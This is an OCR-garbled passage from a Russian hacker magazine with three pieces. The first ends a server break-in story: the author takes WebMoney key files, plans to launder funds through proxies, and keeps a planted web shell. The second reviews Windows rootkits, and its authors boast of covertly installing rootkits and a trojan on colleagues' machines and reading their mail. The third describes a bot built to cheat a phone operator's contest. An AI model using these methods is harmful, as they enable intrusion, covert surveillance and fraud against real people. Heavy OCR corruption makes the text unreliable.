Я ввел в строку поиска «ѴѴМЗІд- 
пег» и среди кучи бесполезных 
ссылок наконец-то нашел то, 
что нужно: мѵѵѵ.ѵѵеЬтоп- 

еу. ги/р ісіе ѵѳііі іірізі.зіі іті. 

На этой странице полностью опи- 
сана установка модуля ѴѴМЗІдпег 
(по сути, это программа для элек- 
тронного биллинга). Но еще боль- 
ше я обрадовался, когда открыл 
текстовый файл ѴѴМЗідпег.іпі, кото- 
рый имел следующий формат: 

ѴѴМ-идѳнтификатор магазина 

пароль 

/путь/к/файлу/с/ключами 




[паленые архивы со сплойтами] 



[хакер 05 [77] 05 > ВЗЛОМ 049 ] 



[ХАКЕР 05 [77] 05 > ВЗЛОМ 050 ] 





Внутри этого іпі-файла действительно присутствовали все обозна- 
ченные строки, только вместо ѴѴМ-идентификатора вида 
123456789101 там почему-то был номер \л/т-кошелы<а 
17123456789101. Тут я подумал, что, может, при настройке Зідпег'а 
ОНИ (богатенькие обладатели обменника) ошиблись, что-то наму- 
тили и по ошибке вписали номер кошелька вместо идентификато- 
ра? Благо, решение пришло достаточно быстро — ведь в системе 
ѴѴМ можно осуществлять поиск по различным параметрам, напри- 
мер по тому же номеру 17-кошелька очень легко найти корреспон- 
дента с соответствующим ѴѴМ-ісІ. Файл ключей *.к\л/т был нужен 
понятно для чего, а вот р\л/т-файла с информацией о состоянии 
кошельков не оказалось. Но это не было большой проблемой, так 
как при отсутствии этого файла ѴѴМ Кеерег без проблем создавал 
новый. В принципе, уже все было готово для хищения денег. 

[совесть Ѵ5 жадность] Однако я не спешил переводить бабло на 
свой счет. И для этого было по крайней мере две причины. Первая 
— техническая. Ведь, в самом деле, перевод денег могли попа- 
лить, и с моей стороны светить свой реальный ір было не лучшей 
идеей. К тому же, было бы неплохо перевести деньги через нес- 
колько левых кошельков на пути к тому, с которого я буду налить ла- 
вэ. 

Во время таких проделок обязательно используют зоскз-сервера, что- 
бы обезопасить себя. В X уже очень много писали про настройку 
прокси-серверов и защиту трафика. Один мой знакомый, который 
имел недюжинный опыт с незаконными переводами, посоветовал пу- 
скать трафик ѴѴМ-кипера только через свои прокси, поднятые на 
взломанных тачках и не ведущие логи. К сожалению, я не мог в тот мо- 
мент похвастать большим количеством похаканных машин, а просить 
знакомого не хотелось, потому как знакомый — он именно знакомый, 
и всегда есть вариант, что он прокинет на пару-тройку сотен долла- 
ров :). Как вариант, можно было просто сходить в любой компьютер- 
ный клуб, установить там кипер, а все необходимые файлы с ключами 
принести с собой на флешке. Народ там обычно либо весело рубит- 



ся, либо с интересом 
рассматривает пор- 
нуху, поэтому на ин- 
теллигентного моло- 
дого человека, пере- 
водящего пару лимо- 
нов зеленых с чужого 
счета, никто не обра- 
тит внимания :). 

И вот наступил мо- 
мент, когда у меня 
появилась возмож- 
ность, может, и нем- 
ного, но разбога- 
теть. И тут меня ста- 
ли мучить сомнения. 
Ведь, собственно, компьютерное воровство ничем не отличается 
от обычного. Представь, что ты молодой развивающийся бизнес- 
мен, и как раз перед очень важной сделкой, которая может изме- 
нить твою жизнь, кто-то тырит твои ЧЕСТНО заработанные деньги, 
все срывается, и твоя жизнь идет кувырком. Как оно, приятно? Я 
думаю, нет, и этот человек, которого вздули на деньги, потом бу- 
дет проклинать весь компьютерный андеграунд и тебя в частно- 
сти. Тем более, махинации с деньгами считаются одним из самых 
тяжких преступлений. 

Подумай, стоит ли оно того? Стоит ли становиться крысой ради хру- 
стящих зеленых бумажек? Что они тебе дадут? Разве что клеймо во- 
ра на всю жизнь, похмельное утро и повод ментам наведаться к те- 
бе для разбирательств. В общем, не буду тебя мучить своими дово- 
дами, скажу лишь только одно. Я не стал красть чужие деньги и по- 
думал, что мне значительно дороже собственная совесть. 

[бочка дегтя] Однако интерес подстегивал меня идти дальше. Было 
ощущение, что на сервере мгокно найти что-то еще более интересное, 
чем ѴѴМ-обменник. И я решил вернуться на тачку, подключившись по ззБ с 
предварительно обрученным аккаунтом. После того как я залогинился на 
машину, я решил проверить, кто кроме меня работает в системе. Коман- 
да \л/Ііо показала, что в данный момент я единственный активный пользо- 
ватель, и меня это успокоило: я начал обшаривать пользовательские ка- 
талоги, особенно не думая о том, что меня пропалят. Но вдруг консоль 
у меня повисла, а сервер вообще перестал отвечать на какие-ли- 
бо запросы. Он не пинговался, все сайты ушли в даун, и было не- 
понятно, к чему бы это. Пришлось ждать, пока тачку снова подни- 
мут. Через сутки, когда машина вновь заработала, подключиться 
по ззб у меня не получилось: там подняли файрвол и ззіпсі запрети- 
ли принимать подключения с моего адреса (полагаю, что вообще 
со всех адресов, кроме доверенных). Также все мои бэкдоры гну- 
сным образом фильтровались, и меня это здорово обломало. На- 
до было проверить, остался ли хоть рТір-збеІІ на сайте. Я зашел по 
ссылке, шелл действительно был на месте. Я скомандовал ипате 
-а; црТ/'те, и тут все стало ясно. Не просто так админ вырубил комп 
из Сети. Теперь ядро пропатчили до 2.4.29-о\л/1 (то есть получить 
локально рут эксплоитом против ядра не выйдет), а на некоторые 
папки поставили сТітосІ 000. Короче говоря, администратор почу- 
ял неладное, и меня выжили из системы :(. Обидно, конечно. Хотя 
не факт, что вычислили именно меня, ведь адрес сайта с шеллом 
был известен как минимум еще одному человеку. 

Доступ к веб-шеллу я имею в своем распоряжении и по сей 
день. Несмотря на то что абсолютными привилегиями в системе 
не обладаю, иногда пользуюсь им, чтобы перегонять большие 
файлы с других хостов. Тем более, у меня все еще есть доступ 
к полной коллекции красивеньких новых постеров! Была даже 
мысль запихать их все или хотя бы часть в один большой архив 
и слить себе, но, завидев размер полученного файла, я сразу 
передумал :). 

[итоги] Я думаю, вывод ты сделаешь для себя сам. А вот что я хо- 
чу еще сказать по поводу этого взлома. В принципе, история с 
технической стороны проста как две копейки. Ничего сверхъе- 
стественного или экстраординарного я не проделал. Как ви- 
дишь, системные администраторы даже серьезных проектов 
допускают глупые ошибки и порой просто не следят за новостя- 
ми компьютерной безопасности. В этот раз это могло для них до- 
рого аукнуться, если бы я был моральным уродом и украл день- 
ги. Однако взломщикам не следует терять бдительности: боль- 
шинство админов может быстро заподозрить неладное и выве- 
сти хакера на чистую воду © 




[статья о настройке электронного биллинга на 
ѵѵѵѵѵѵ.ѵѵеЬтопеу.ги] 




Товар сертифицирован 
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Хотите, чтобы Вас заметили? 



Всего одна стильная деталь может сделать Вас объектом всеобщего внимания. 

Цифровая фотокамера Кобак 1.3743 с 3-кратным зумом и разрешением 4 мегапикселя 
не оставит никого равнодушным. Современный дизайн фотокамеры дополнит Ваш имидж, 
а четкие, яркие снимки вызовут зависть окружающих. Просто нажмите на кнопку ЗИаге, 
чтобы распечатать фотографии или переслать их по электронной почте. 

Узнайте больше о цифровых фотокамерах Кобак на ѵѵѵѵѵѵ.кобак.ги 



Моменты Кодак. Каждый день. 



ЮНИТЫ КРЕАТИФФ КОДИНГ ІІМХОЮ СЦЕНА ВЗЛОМ ИМПЛАНТ РС_20ЫЕ РЕВРШМ НЬЮСЫ 








На диске, если постараешься, 
ты сможешь откопать 
программы для 
детектирования руткитов, 
описанные в статье, а также 
сами руткиты. 

На шш.юоМ.сот ты 
найдешь все разобранные в 
обзоре руткиты с 
исходниками, а также кучу 
интересных для хакера 
статей, написанных в том 
числе и нашими 
соотечественниками. 




Кошмарное ПО 

ДОЛЖНО БЫТЬ, ТЫ НИЧЕГО НЕ БОИШЬСЯ, ЕС- 
ЛИ ВЗЯЛСЯ ЗА ЭТУ СТАТЬЮ. ПОВЕРЬ, НЕ СТО- 
ИТ ЧИТАТЬ ДАЛЬШЕ, ЕСЛИ ТЫ НЕ ХОЧЕШЬ ЛИ- 
ШИТЬСЯ СНА. МЫ С ПЕТЕЙ ЛИШИЛИСЬ. МЫ НЕ 
СПИМ УЖЕ КОТОРУЮ НЕДЕЛЮ. МЫ БОИМСЯ. 
МЫ ЗНАЕМ, ЧТО ОНИ ГДЕ-ТО РЯДОМ. ОНИ НЕ 
ВИДНЫ, НО ОНИ ЕСТЬ. И ОНИ ЖДУТ. ЖДУТ 
ПОДХОДЯЩЕГО МОМЕНТА. О НИХ ЛУЧШЕ НЕ 
ГОВОРИТЬ, ЛУЧШЕ ВООБЩЕ НЕ ВСПОМИНАТЬ. 
ТАК БУДЕТ КАЗАТЬСЯ, ЧТО ВСЕ КАК ПРЕЖДЕ. 
ЧТО ВСЕ НОРМАЛЬНО, ЧТО ИХ НЕТ. Я ЗНАЮ, 
ЗА МНОЙ СЕЙЧАС СЛЕДЯТ. КАЖДУЮ БУКВУ 
НАБРАННОГО МНОЙ ТЕКСТА ОНИ ЗАПИШУТ. 
КАЖДЫЙ ПОСЛАННЫЙ МНОЙ В СЕТЬ БАЙТ 
ОНИ ПРОСМОТРЯТ. И ОНИ ОСТАНУТСЯ НЕЗА- 
МЕЧЕННЫМИ. ОНИ ЖДУТ. НЕ ЧИТАЙ ДАЛЬШЕ I 

Петя и Волк (ІСО#13551 1) 

Очень страшный, 
но занимательный 
обзор ѵѵіпсіоѵѵз-руткитов 




Когда мы с Петей были молоды, испугать нас 
было очень сложно. Вирусы для нас были 
завтраком, червяки — обедом, а трояны — 
ужином. Мы были вооружены антивирусами 
и файрволами. Мы были уверены: нам ничто 
не угрожает. День и ночь мы тестировали 
разные хакерские утилиты, запускали все, 
даже самые страшные вирусы. Мы знали, 
что это им надо бояться нас, а не наоборот. 
Если бы какая-то программка полезла в 
Сеть или захотела бы напакостить, все наши 
защиты дружно в один голос заорали бы: 
«Караул!». Да, мы думали, что нам нечего бо- 
яться. Мы наизусть знали список процессов 
и все ключи в реестре. Попробуй троян ку- 
да-нибудь прописаться, мы в момент бы за- 
метили, и у нас появился бы очередной по- 
допытный. Как и другие дети, мы были жесто- 
кими. Мы мучили и терзали вирусы до пол- 
ной их неработоспособности. Мы дизассе- 
мблировали самые сокровенные участки 
кода. Все шло отлично. До тех пор, пока. . . 



Однажды Петя принес домой какую-то очень необычную 
Программу. Она была сильно зашифрована и защищена. По- 
верхностное дизассемблирование ничего не дало, и в наши 
глупые головы не пришло ничего лучше, чем просто запустить 
Программу и посмотреть, что выйдет. Так мы и поступили. 
Предварительно проверив все наши защиты, Петя навел кур- 
сор на Нее и ткнул в <ЕпТег>. Сначала мы подумали, что Прог- 
рамма просто не работает. Файрволы молчали, в реестре 
ничего нового. Процессы не тронуты. Но мы нутром чувство- 
вали, все не так просто. 

На реверсинг у нас ушло много дней, но не зря. Чувства нас не 
обманули. Нам попалась не обычная, просто глючная програм- 
ма. Нам попался руткит, ѴѴІпсІо\д/з-руткит. С тех пор все измени- 
лось. С тех пор мы уже не можем спать спокойно. Все уже не бу- 
дет как прежде. Никогда. 

[р-р-р-р-руткит] Руткит — это программа, о которой лучше не 
знать. Потому что если о ней не знаешь, то ее как бы и нет. Ина- 
че тебе обеспечена паранойя. Ведь руткит — это мастер мас- 
кировки. Он ловко модифицирует память твоей системы так, что 
процессы, файлы, записи в реестре, открытые соединения, 
хэндлы, модули, сервисы — одним словом все, связанное с рут- 




вообще там можно найти все руткиты из обзора] 



китом, тотчас же исчезает, при 
этом продолжая функциони- 
ровать. Представь себе абсо- 
лютно невидимый троян. 
Представил? Кошмар, да? 

Чтобы было еще кошмарнее, 
приведу простой пример. Вот 
мы с Петей постоянно пользу- 
емся разными хакерскими 
утилитами. Порой утилиты 
очень круто защищены от 
взлома и дизассемблирова- 
ния. Так вот, что мешает авто- 
ру этих утилит встроить туда 
руткит? Мы пользуемся прог- 
раммой, а автор программы 
пользуется нашим компьютером! При 
этом обнаружить такую гадость почти 
нереально! Мы применяли множество 
разных хакерских программ, всех и не 
упомнить, и уже никто не даст гарантий, 
что на нашем компе нет Их, руткитов. 

Они с помощью перехвата системных 
функций, как на пользовательском уровне, 
так и на уровне ядра, манипулируя некото- 
рыми недокументированными структура- 
ми данных операционной системы и оста- 
ваясь незамеченными, могут сделать с тво- 
ей машиной все, что Их хозяину захочется. 
Казалось бы, единственно, как им можно 
помешать — это отключить комп от интер- 
нета. Но нет, есть и другие, более 
приемлемые способы. Но с ними я тебя 
познакомлю потом, а сейчас разберемся, 
как же эти страшные программы выглядят. 

[знай врага в лицо] Первое, что тебе надо 
сделать, — запомнить, как эти монстры 
выглядят, что едят, чем живут. Чтобы, если 
ты вдруг встретишь какую-нибудь подозри- 
тельную программку, ты без особых сом- 
нений определил бы в ней руткита. Специ- 
ально для этого я приготовил для тебя ко- 
роткий обзор Их. 

НАСКЕК ОЕЕЕ/ѴОЕ/? (ВУ НОІУ_ЕАТНЕК & 
ПАТТЕП/29А) 

Нынче чуть ли не самый популярный среди 
хакеров руткит. Работает он, в основном, в 
изег тосіе и маскируется просто за счет пе- 
рехвата ѴѴІпАРІ, хотя и этого вполне хватает 
чтобы оставаться на компе абсолютно неза- 
меченным. Умеет он почти все, за что его и 
любят хакеры. Он скрывает файлы, процес- 
сы, записи в реестре, открытые порты. Умеет 
показывать неправильное свободное место 
на диске. Сам прописывается в нужное мес- 
то системы для автозапуска, сам же его и 
маскирует. При этом он оставляет Ьасксіоог. 
Перехватывая функции работы с сетью, он 
ждет, пока на один из уже открытых и разре- 
шенных файрволом портов не придет 256- 
битный ключ, означающий, что этот порт на- 
до использовать в качестве шелла. Возмож- 
ностей и настроек у этого руткита очень мно- 
го, и все они аккуратно указаны в конфигура- 
ционном іпі-файле. Например, для скрытия 
портов надо в этом файле написать: 

[Нісісіѳп Рогіз] 

ТСР:8001 

1ГОР:12345 

Подробнее читай в документации на трех 
языках. Основная часть руткита написана 
на Эеірііі, драйвер, как полагается, написан 
на Си, большая же часть функций на асме. 



В процессе написания статьи этого зверя 
нам с Петей пришлось протестировать на Ни- 
китосе. Мы ему сказали, что хотим новый хра- 
нитель экрана показать. Хранитель экрана 
он оценил, руткит нет. Не заметил просто ;). 

АЕХ ІЮОТКІТ (Ьу Арііех) 

Руткит, самым наглым образом скрываю- 
щий все тот же список системных элемен- 
тов, что и ЭеЕепсІег, плюс еще иконки в трее. 
Иконки бывает полезно скрыть, когда ты 
маскируешь с помощью руткита какую-ни- 
будь совсем не хакерскую программу, ска- 
жем, ігс-бота. Написанный целиком на 
Эеіріпі (о, ужас!) руткит в управлении очень 
прост. Просто создай папочку ге\л/І на дис- 
ке жертвы, плюхни туда АЕХ РооШІ) и запусти 
с ключиком /і. После этого любая програм- 
ма, стартующая из этой же папки, будет 
полностью скрыта (то есть не будет ни про- 
цесса, ни сокетов, ничего). Кстати, надо за- 
метить, папка тоже будет скрыта. Под тем 
же предлогом, что и Никитосу, мы с Петей 
подсунули эту программу с одним троянчи- 
ком Куперу. Он виду не показал, запустил. 
Теперь регулярно читаем его почту. 

/ѵг пооткіт (ву отіЕс ноешмй) 

А вот эта программка, я сказал бы, на 
порядок опаснее. Хотя создана она 
очень давно, почти пять лет назад, но 
чувствуется рука мастера. Это руткит, 
который выполнен целиком в виде драй- 
вера уровня ядра. Без какой-либо гад- 
кой компрометирующей изег тосіе час- 
ти. Он так же, как и Наскег Эе^епсіег, слу- 
шает трафик, чтобы в нужный момент 
предоставить хакеру шелл, но делает 
это уже в ядре, устанавливая собствен- 
ный І\ЮІ$-фильтр. Он скрывает все файлы 
и процессы , в имени которых есть 
подстрока «_гоо)_». При том он записы- 
вает все, что набирается на клавиатуре, 
да не обычным хуком, который палится 
любым авером, а низкоуровневым уст- 
ройством-фильтром. Страшная вещь, за- 
палить которую очень и очень сложно, 
так как использует она совсем не оче- 
видные методы маскировки. Ее вместе с 
простым загрузчиком (ведь драйвер сам 
по себе не запустишь) мы подсунули 
Горлуму. Он ее запустил и, как все ос- 
тальные редакторы, ничего не заметил. 
Хотя потом признался, что запустил ее 
под эмуляцией и что код этого руткита он 
уже «где-то видел». Хитрец. 

ѴапциізТ) (Ьу ХЗТюсІом) 

Еще один ЫГшный руткит. Снова пользова- 
тельский уровень, снова перехват АРІ. Но 
на этот раз еще и с инжектированием ди- 
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[вот они, подопытные кролики] 

намической библиотеки. Даже несмотря на то, что этот руткит вы- 
полняет все обычные функции плюс еще кое-что свое, на мой 
взгляд, его обнаружить будет проще всего. Мы даже тестировать 
его ни на ком не стали, так как у нас файрвол сразу заорал: мол, 
аккуратно, нарушен контроль компонентов. Будь все руткиты таки- 
ми, может, мы бы чувствовали себя спокойнее. Хотя, если файрво- 
ла нет, заметить после установки этого зверя будет ничуть не легче, 
чем других. Он ведь тоже скрывает файлы, записи в реестре, про- 
цессы и т.п. Только этот руткит, в отличие от сородичей, поставляет- 
ся без исходников, а следовательно, он может быть значительно 
хитрее, чем кажется на самом деле. Мы с Петей не склонны дове- 
рять хакерским утилитам. 

Ш (Ьу (игѳп_ор) 

Руткит из разряда особо опасных. На этот раз выполнен час- 
тично в виде обычного приложения, частично в виде драйвера. 
Уникален этот монстр тем, что не использует никаких перехва- 
тов для работы, а следовательно, обнаружить его в разы слож- 
нее (такие штуки не обнаруживают случайно, их ищут). За счет 
манипулирования объектами ядра (Эігес) КегпеІ ОЬІесІ’ 
Мапіриіаітоп) он позволяет скрывать процессы и устройства, 
повышать привилегии процессов, а также подделывать вывод 
ѴѴІпсІо\л/з Еѵепі" Ѵіе\л/ег. Ух, если кто-нибудь захочет объединить 
технологии, используемые в этом рутките, с творением Ѳгед'а 
НодІипсГа, мало нам, простым смертным, не покажется. Тем 
более что написан этот руткит на Си, и разобраться в его ис- 
ходном коде будет несложно. 

Л/Т ІІІизіоп (Ьу Ксіт) 

Этот гіпдЗ-руткит, может быть, не так опасен, как его ядерные 
сверстники, зато очень хорошо документирован. Так что если ты 
хочешь как можно лучше разобраться в принципах работы рутки- 
тов и прочих программ-невидимок, чтобы увеличить свой шанс на 
выживание в этом суровом мире, тебе придется топать на 
ѵѵѵ/ѵѵ.рЬгаск.огд. Про идею и тонкости реализации ІЧТ-иллюзии ты 
можешь прочесть в 62 номере, в статье «ІЧТІІІизіоп: А рогТаЫе 
\Л/іп32 изегіапсі гооТкіТ». Хотя идея, если подумать, очень простая, 
бери, да перехватывай важные в системе функции. В прошлом но- 
мере, в «Кодинге», Горлум описал, какие функции надо перехва- 
тывать и как это делать без инжектирования ЭИ. 

Вот, это шесть типичных Их представителей. Они ужасны, не прав- 
да ли? Возможность попадания одного такого в твой компьютер 
может надолго лишить тебя спокойного сна. Нас, как я уже гово- 
рил, лишила. И это даже несмотря на то, что есть специальные 
утилиты, пытающиеся детектировать руткиты. 




[ѴІСЕ весь в работе. Нашел зачем-то тысячу модулей пМІІ] 



[найди и обезвредь] Мы с Петей, наверное, совсем 
бы от страха быть взломанными (или от страха быть 
взломанными НЕЗАМЕТНО) потеряли рассудок, не 
будь в Сети программ, которые пытаются детекти- 
ровать руткиты. 

Первая программа, о которой следовало бы упомя- 
нуть, это ѴІСЕ. Эта написанная под платформу .ИЕТ 
тулза сканирует все процессы и ядро на предмет 
перехватов функций. Причем она обнаруживает не 
только перехват, сделанный с помощью глупой мо- 
дификации таблицы импорта, но и сІеТоигз-Ііке пе- 
рехват (так называемым непосредственным патчин- 
гом функции). Как это ни забавно слышать, эта прог- 
рамма находит не только руткиты. Она также обна- 
руживает системные хуки АѴР и Оиіроз) 2.5. А еще 
она не умеет обрабатывать (ог\л/агс!есІ-функции в 
таблице экспорта, что ведет к тому, что на выводе образуется 
куча лишней инфы, в которой найти руткит значительно слож- 
нее. И даже если ты найдешь его и определится правильное 
имя файла (что тоже не факт), функции «Удалить» в этой прог- 
рамме нет. Тебе придется вручную загружаться в заТе тобе и 
пытаться убить монстра оттуда, надеясь, что это не приведет к 
хроническому В5СЮ. 

Вторая программ — это детище Брюса Когсвела и Марка Рус- 
синовича, РооТкіТ Реѵеаіег с сайта ѵѵѵ/ѵѵ.зузіпі'ѳгпаіз.сот. Эта 
тулза принципом работы очень отличается от ѴІСЕ. Чтобы за- 
сечь руткит, эта программа получает оригинальный список 
файлов и записей в реестре с помощью собственного драйве- 
ра, а затем сравнивает его со списком, полученным с по- 
мощью ѴѴіпАРІ . Естественно, что любые несовпадения будут 
указывать на руткит. Правда, здесь кнопочки «Удалить» тоже нет, 
и тебе также придется грузиться в безопасном режиме, чтобы 
попытаться убить руткит. 

Как ты понимаешь, обе эти программы ничего не стоит обма- 
нуть. Наверняка их создатели уже сделали кучу приватных 
версий своих монстров, которые никакими геѵеаіег'амии не 
палятся. А если учесть их возможности, становится страшно. 
Мало ли что мы уже подцепили. Мало ли кто читает нашу поч- 
ту. Мало ли что могут сделать от нашего имени, могут даже 
статью послать в «Хакер»... 

[наша песенка спета?] Напоследок у нас с Петей есть две но- 
вости. Одна хорошая, другая плохая. Начну с хорошей. Мы опи- 
сали далеко не все программы, способные более или менее 
эффективно засекать руткиты. Более того, есть программы, кото- 
рые умеют даже удалять руткиты! К примеру, программа АѴ2 
умеет снимать хуки с ѴѴіпАРІ, как бы они сложно ни устанавлива- 
лись. И по идее, не все потеряно. Антивирусы совершенствуются 
без конца, файрволы все лучше и лучше защищают... А плохая 
новость — это то, что авторы руткитов тоже не стоят на месте. Они 
придумывают все больше и больше разных хитрых технологий, 
которые обходят совершенствующиеся антивирусы и файрволы. 
И как это ни странно, впереди по прогрессу именно авторы Их. 
Поэтому спать нам с Петей придется еще не скоро . Пока есть 
такие звери, которых может встроить в свои программы любой 
хакер, вряд ли нам это удастся. 

Я же говорил, не читай эту статью © 




[Нооікіі Неѵеаіег, работает ужасно долго. Терпения у нас так и не хватило] 



ЮНИТЫ КРЕАТИФФ КОДИНГ ІІМХОЮ СЦЕНА ВЗЛОМ ИМПЛАНТ РС_20ЫЕ РЕВРШМ НЬЮСЫ 






СЕЙЧАС ПРОВОДИТСЯ КУЧА ВСЯКИХ ГОЛО- 
СОВАНИЙ И КОНКУРСОВ, В КОТОРЫХ НАДО 
СДЕЛАТЬ КАК МОЖНО БОЛЬШЕ КАКИХ-ТО 
ОДНООБРАЗНЫХ ДЕЙСТВИЙ. ТАКИХ АКЦИЙ 
ПОЛНО НА КАЖДОМ УГЛУ, ОДНАКО, НЕСМОТ- 
РЯ НА ВСЮ УЩЕРБНОСТЬ, ИНОГДА В НИХ РА- 
ЗЫГРЫВАЮТСЯ ДЕЙСТВИТЕЛЬНО ЦЕННЫЕ 
ПРИЗЫ. В ТАКИХ ИГРАХ ОБЫЧНО ВСЕ ЗАВИ- 
СИТ ОТ БОЛЬШОГО ТЕРПЕНИЯ И НАСТОЙЧИ- 
ВОСТИ — ИМЕННО ПОЭТОМУ НОРМАЛЬНЫМ 
ЛЮДЯМ ХОЧЕТСЯ АВТОМАТИЗИРОВАТЬ ПРО- 
ХОЖДЕНИЕ ТАКИХ ЗАДАНИЙ. СЕГОДНЯШНЯЯ 
ИСТОРИЯ КАК РАЗ ОБ ЭТОМ — Я ПОКАЖУ НА 
ПРИМЕРЕ, КАК ОБМАНУТЬ ПОДОБНЫЕ СИС- 
ТЕМЫ I 3. Апсігеу ($апсІгеу@ѵеп$.ги) 

Накрутка и обман конкурса 
одного из операторов 
сотовой связи 

В один из теплых весенних вечеров, когда солнце уже 
клонилось к горизонту, подсвечивая оранжево-крас- 
ным стены домов и счастливые лица людей, я отпра- 
вился погонять на роликах. Это был своеобразный 
ритуал: выписывая красивые фигуры на асфальте, мы 
обсуждали с друзьями последние новости. Один из 
моих приятелей рассказал о том, что оператор сото- 
вой связи, услугами которого мы все пользовались, 
устроил на своем сайте какой-то \л/еЬ-конкурс, и что 
главный приз — $100 на счет. Меня это очень заинте- 
ресовало, и я решил посмотреть, что из себя предс- 
тавляет этот конкурс. 

Игра называлась то ли «бродилка», то ли «ходилка», 
хотя, быть может, вообще никак не называлась. 
Смысл ее сводился к следующему: надо было заре- 
гистрироваться и получить свой Ю, который виден 
всем посетителям сайта. Затем нужно было кликать 
по различным ссылкам на сайте, переходя со стра- 



ницы на страницу до тех пор, пока на какой-нибудь из них не по- 
явится формочка с просьбой ввести изображенное на рисунке 
число (от 1 до 10), означающее количество набранных баллов, и 
Ю игрока, которому нужно приплюсовать эти очки. Маразм, ко- 
нечно, — до сих пор не понимаю, на кой черт таким образом 
поднимать популярность ресурса, но это их дело. Меня же инте- 
ресовали «сто долларов - не лишние!» :) 

[первые наблюдения] Ну что ж, я зарегистрировался и начал кли- 
кать по ссылкам. Буквально на третьем клике появилось окно с 
просьбой ввести баллы и Ю. Ввел, страница обновилась надписью 
«Поздравляем! Теперь на вашем счете 7 баллов», и после секунд- 
ной задержки меня перебросило на главную страницу сайта. Я 
продолжил изучение проекта. За час, лениво тыкая в ссылки и за- 
одно изучая информацию сайта, мне удалось набрать чуть боль- 
ше двухсот баллов, и я вышел на первое место. Это был первый из 
десяти дней игры, народ еще только регистрировался и начинал 
подтягиваться. Надо было присмотреться, с кем я буду соревно- 
ваться в изобретательности. И что тут скажешь, конкуренты были! 
Уже на второй день двое человек ускакали вперед меня на 1500 
баллов, и надо было что-то менять. Я решил выяснить, зависит ли 
распределение баллов от порядка посещения страниц. Скажем, 
если перемещаться постоянно между двумя, будут ли выдаваться 
баллы? Система оказалась настолько тупой, что выдавала очки да- 
же за простое обновление страницы по Р5 :). Я довольно быстро 
нагнал обидчика, но меня это уже достало, стало понятно, что надо 
автоматизировать процесс. 

Я заметил, что рисунки с баллами не сильно друг от друга отлича- 
ются. Например, фон у них вроде бы один и тот же, совпадает угол 
наклона у одних и тех же цифр, а также цвет символов. Опять же — 
вроде бы. 

Однако впереди были выходные, хотелось расслабиться, а не ду- 
мать о программировании. И поэтому я забил на все и отправился 
за город с твердым решением по возвращении домой написать 
бота. Даже двух. 

Задача первого — минимизировать трафик, автоматизировать 
хождение по сайту (нужно, чтобы просто отображалась картин- 
ка с баллом, человек указывал написанное число и бот отправ- 
лялся искать следующую страницу с очками). Также я захотел 





Эта история имеет под собой вполне реальные 
события — некоторые факты, конечно, изме- 
нены, но если ты захочешь, то без проблем 
сможешь восстановить даже название опера- 
тора сотовой связи, на котором я упражнялся. 



сохранять локально все картинки с балла- 
ми, чтобы потом сравнить их между собой 
и узнать, различаются ли они на самом де- 
ле, Задача второго бота: если картинки на 
самом деле одни и те же, то автоматизиро- 
вать процесс распознавания номера и 
поставить все на полный автомат. 



[уходим в кодинг] Приехав после отдыха 
домой, я сразу принялся за работу. Конку- 
ренты меня уже не по-детски делали, и на- 
до было догонять обидчиков. Я решил сде- 
лать работу бота как можно реалистич- 
нее. Был составлен файл (Ііпкз.ріар), каж- 
дая строка которого представляла собой 
ІЖ странички, на которую нужно перейти. 
Конечно, лучше всего было бы скачивать 
страницу, парсить ее, находя все тэги 
<а>, а затем случайным образом перехо- 
дить по одной из найденных ссылок. Но 
для этого пришлось бы загружать всю па- 
ту, а она может оказаться очень увесис- 
той, поэтому, чтобы достичь поставленной 
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[вот так вот набираются баллы] 



На нашем диске ты найдешь исходники мо- 
его бота, и если у тебя появится желание, 
советую тебе в них покопаться. В любом 
случае, они тебе пригодятся в качестве при- 
мера несложного шеб-паука. 



цели — минимизации трафика, я так де- 
лать не стал и принялся программировать. 
Основная фишка заключается в том, что ес- 
ли выигрышная форма была на странице, то 
оно описывалось в ЧаѵаЗсгірТ-функции в са- 
мом начале НітІ-странички (до тэга <ЬосІу>) 
и это можно было легко обнаружить. 

Как только я посмотрел на код этой функ- 
ции, сразу заметил одно забавное обсто- 
ятельство. Картинка с изображением бал- 
лов — это статичный діТ-файл, а не вывод 
генерирующего скрипта! Довольно стран- 
ная реализация, что говорить. 

[пишем бота] Я, разумеется, не стану при- 
водить здесь полного исходника моего бо- 
та, а лишь опишу его устройство и некото- 
рые ключевые моменты. 

Поскольку мой паук может длительное 



МЙНя4 і 

гівіг гѵі 



іяЙрМ (Р 

йЛТ№- 



яій>рі- 









‘3 Й11** 

■ я ■■ 4&І4 

41 до. *»•>.• 

чікж- 

■ь* ; , р .) ІНМиі ш 

-М*- ? . чАій* 

іНІя§»~ 

1 / *ми ■ ■ ЧІ І ШЧ- 4ч - 

і/іММ «Пп- 

ялі-р*- * і"па? * ■ *и.г- !М 



время бродить по сайту, прежде чем най- 
дет страничку с баллами, то нужно ска- 
зать РНР, чтобы он не завершал скрипт из- 
за того, что тот выполняется дольше 
тах_ехесиТіоп_1тте. Это можно сделать, 
вызвав функцию зе1_Тіте_ІітіТ(0). 

Сразу после того, как бот нашел странич- 
ку с баллами и пользователь уже ввел чис- 
ло, изображенное на картинке (ЗтуЬаІ), 
выполняется копирование картинки в пап- 
ку с именем, совпадающим с количеством 
баллов. Потом данные отправляются на 
сервер оператора сотовой связи, в точ- 
ности, как если бы игрок заполнил форму 
на сайте и нажал кнопку «Пополнить счет». 
Основной цикл, который осуществляет пе- 
ремещения по сайту, работает следующим 
образом. Из нашего заранее подготовлен- 
ного файла с адресами случайным обра- 
зом выбирается один ІІРІ_, и для него вызыва- 
ется функция деТРадеО, которая возвраща- 
ет 1, если бот наткнулся на страницу с ок- 
ном ввода баллов, и 0 в противном случае. 

В ней нет ничего сложного: сначала уста- 
навливается соединение с игровым сер- 
вером (посредством открытия сокета — 
(зоскорепО), затем у сервера запрашива- 
ется страница, имеющая ІЖ $1іпк (посре- 
дством ТриТ$($(р, Згедиезі")), далее ищем 
на странице ключевую фразу, по которой 
определяем, является ли эта страница вы- 
игрышной. Ключевая фраза — это ІЖ 
скрипта, который добавляет нам баллы. 
Далее мы берем пятую строчку после той, 
где найдена ключевая фраза, извлекаем 
из нее значения полей, которые нужно пе- 
редать по нажатию кнопки «Пополнить 
счет», а также ІЖ картинки с баллами и из 
всего этого добра создаем собственную 
форму, которую и показываем человеку, 
занимающемуся накруткой. 

Если взятая страница не призовая, то 
скрипт немедленно (вызов ТІизТіО) отдает 
\л/еЬ-серверу номер нашей ссылки. Зачем 
это нужно? А вот зачем: помнишь, в самом 
начале мы вызывали 5еОіте_ІігпіТ(0), чтобы 
